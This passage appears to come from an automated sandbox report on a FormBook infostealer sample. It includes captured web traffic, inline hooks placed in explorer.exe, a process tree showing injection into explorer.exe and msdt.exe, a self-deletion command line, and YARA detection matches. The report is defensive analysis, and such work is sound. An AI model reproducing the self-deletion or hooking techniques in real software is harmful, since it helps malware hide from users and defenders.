crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js" crossorigin="true"></script><script>window.wpkReporter&&(window.wpk=new window.wpkReporter({bid:"berg-download",rel:"2.39.11",sampleRate:1,plugins:[[window.wpkglobalerrorPlugin,{jsErr:!0,jsErrSampleRate:1,resErr:!0,resErrSampleRate:1}],[window.wpkperformancePlugin,{enable:!0,sampleRate:.5}]]}),window.wpk.install())</script><script>function loadBaiduHmt(t){console.log("",t);var e=document.createElement("script");e.src="https://hm.baidu.com/hm.js?"+t;var o=document.getElementsByTagName("script")[0];o.parentNode.insertBefore(e,o)}functio
Sep 7, 2023 08:40:07.392225981 CEST	172	IN	Data Raw: 6e 20 62 61 69 64 75 50 75 73 68 28 74 2c 65 2c 6f 29 7b 77 69 6e 64 6f 77 2e 5f 68 6d 74 2e 70 75 73 68 28 5b 22 5f 74 72 61 63 6b 45 76 65 6e 74 22 2c 74 2c 65 2c 6f 5d 29 7d 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e5 8a a0 e8 bd bd e7 99 be e5 Data Ascii: n baiduPush(t,e,o){window._hmt.push(["_trackEvent",t,e,o])}console.log("..."),window._hmt=window._hmt\|\|[];const BUILD_ENV="quark",token="42296466acbd6a1e84224ab1433a06cc";loadBaiduHmt(token)</script><script>function sen
Sep 7, 2023 08:40:07.392257929 CEST	172	IN	Data Raw: 79 28 69 29 26 26 74 2e 70 75 73 68 28 22 22 2e 63 6f 6e 63 61 74 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 69 29 2c 22 3d 22 29 2e 63 6f 6e 63 61 74 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 5b 69 5d 29 29 Data Ascii: y(i)&&t.push("".concat(encodeURIComponent(i),"=").concat(encodeURIComponent(a[i])));var c=t.join("&").replace(/%20/g,"+"),s="".concat("https://track.uc.cn/collect","?").concat(c,"&").concat("uc_param_str=dsfrpfvedncpssntnwbipreimeutsv");(o()\|\|
Sep 7, 2023 08:40:07.392286062 CEST	174	IN	Data Raw: 64 22 3d 3d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 75 63 77 65 62 Data Ascii: d"===function(){var n=window.navigator.userAgent.toLowerCase();return window.ucweb?"android":n.match(/ios/i)\|\|n.match(/ipad/i)\|\|n.match(/iphone/i)?"iphone":n.match(/android/i)\|\|n.match(/apad/i)?"android":window.ucbrowser?"iphone":"unknown"}()&
Sep 7, 2023 08:40:07.392321110 CEST	175	IN	Data Raw: 6e 22 2c 22 61 6e 6f 6e 79 6d 6f 75 73 22 29 2c 24 73 63 72 69 70 74 31 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 2f 2f 69 6d 61 67 65 2e 75 63 2e 63 6e 2f 73 2f 75 61 65 2f 67 2f 30 31 2f 77 65 6c 66 61 72 65 61 67 65 6e 63 Data Ascii: n","anonymous"),$script1.setAttribute("src","//image.uc.cn/s/uae/g/01/welfareagency/vconsole.min-3.3.0.js"),$head.insertBefore($script1,$head.lastChild),$script1.onload=function(){var e=document.createElement("script");e.setAttribute("crossori
Sep 7, 2023 08:40:07.392340899 CEST	175	IN	Data Raw: e7 bd 91 e7 ab 99 ef bc 9a 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 2d 61 64 22 3e e6 b2 a1 e6 9c 89 e5 b9 bf e5 91 8a 3c 2f 64 69 76 3e 3c 64 69 76 3e e7 94 b5 e5 bd b1 e6 92 ad e6 94 be e4 b8 8d e5 8d a1 e9 a1 bf 3c 2f 64 69 Data Ascii: </div><div class="no-ad"></div><div></div><div></div></div><script src="https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.ed78827af54b11b592f7.js"></script></body

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x82 0x2E 0xE0
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x8A 0xAE 0xE0
GetMessageW	INLINE	0x48 0x8B 0xB8 0x8A 0xAE 0xE0
GetMessageA	INLINE	0x48 0x8B 0xB8 0x82 0x2E 0xE0

Target ID:	1
Start time:	08:38:12
Start date:	07/09/2023
Path:	C:\Users\user\Desktop\2FcJgghyXg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\2FcJgghyXg.exe
Imagebase:	0x600000
File size:	995'840 bytes
MD5 hash:	4F91D6F43A69717FF16F3C09DCD0E7E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.1253892439.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.1253892439.0000000003B39000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	08:38:14
Start date:	07/09/2023
Path:	C:\Users\user\Desktop\2FcJgghyXg.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\2FcJgghyXg.exe
Imagebase:	0xb90000
File size:	995'840 bytes
MD5 hash:	4F91D6F43A69717FF16F3C09DCD0E7E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.1320876243.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	08:38:15
Start date:	07/09/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff62dba0000
File size:	5'308'592 bytes
MD5 hash:	DDB206DDECAF3B327A418B262EE33468
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 00000003.00000002.2509035504.00000000088AF000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	4
Start time:	08:38:18
Start date:	07/09/2023
Path:	C:\Windows\SysWOW64\msdt.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\msdt.exe
Imagebase:	0x7e0000
File size:	389'632 bytes
MD5 hash:	35F3075ABFA89839B62E52CD29F62954
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2499211054.0000000003060000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2498941843.0000000003020000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2498297879.0000000002CA0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	false

Target ID:	5
Start time:	08:38:22
Start date:	07/09/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Users\user\Desktop\2FcJgghyXg.exe"
Imagebase:	0x120000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	08:38:22
Start date:	07/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff78b990000
File size:	873'472 bytes
MD5 hash:	86191D9E0E30631DB3E78E4645804358
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true